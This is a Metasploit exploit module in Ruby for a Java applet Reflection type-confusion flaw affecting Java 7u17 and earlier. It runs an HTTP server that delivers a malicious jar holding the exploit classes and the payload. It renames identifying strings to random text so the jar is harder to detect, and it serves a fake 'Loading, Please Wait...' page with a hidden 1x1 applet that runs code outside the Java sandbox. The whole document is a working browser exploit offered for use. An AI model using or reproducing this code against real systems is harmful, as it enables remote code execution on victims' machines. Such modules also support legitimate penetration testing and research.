Java Applet Reflection Type Confusion Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Applet Reflection Type Confusion Remote Code Execution',
			'Description'   => %q{
					This module abuses Java Reflection to generate a Type Confusion, due to a weak
				access control when setting final fields on static classes, and run code outside of
				the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This
				exploit doesn't bypass click-to-play, so the user must accept the java warning in
				order to run the malicious applet.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Jeroen Frijters', # Vulnerability discovery and PoC
					'juan vazquez' # Metasploit module
				],
			'References'    =>
				[
					[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 10 2013'
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Exploit.class")
		@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union1.class")
		@union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union2.class")
		@union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "SystemClass.class")
		@system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha("Exploit".length)
		@exploit_class.gsub!("Exploit", @exploit_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@exploit_class_name}.class", @exploit_class)
			jar.add_file("Union1.class", @union1_class)
			jar.add_file("Union2.class", @union2_class)
			jar.add_file("SystemClass.class", @system_class)
			metasploit_str = rand_text_alpha("metasploit".length)
			payload_str = rand_text_alpha("payload".length)
			jar.entries.each { |entry|
				entry.name.gsub!("metasploit", metasploit_str)
				entry.name.gsub!("Payload", payload_str)
				entry.data = entry.data.gsub("metasploit", metasploit_str)
				entry.data = entry.data.gsub("Payload", payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
		html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
		html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
		html += %Q|</applet></body></html>|
		return html
	end

end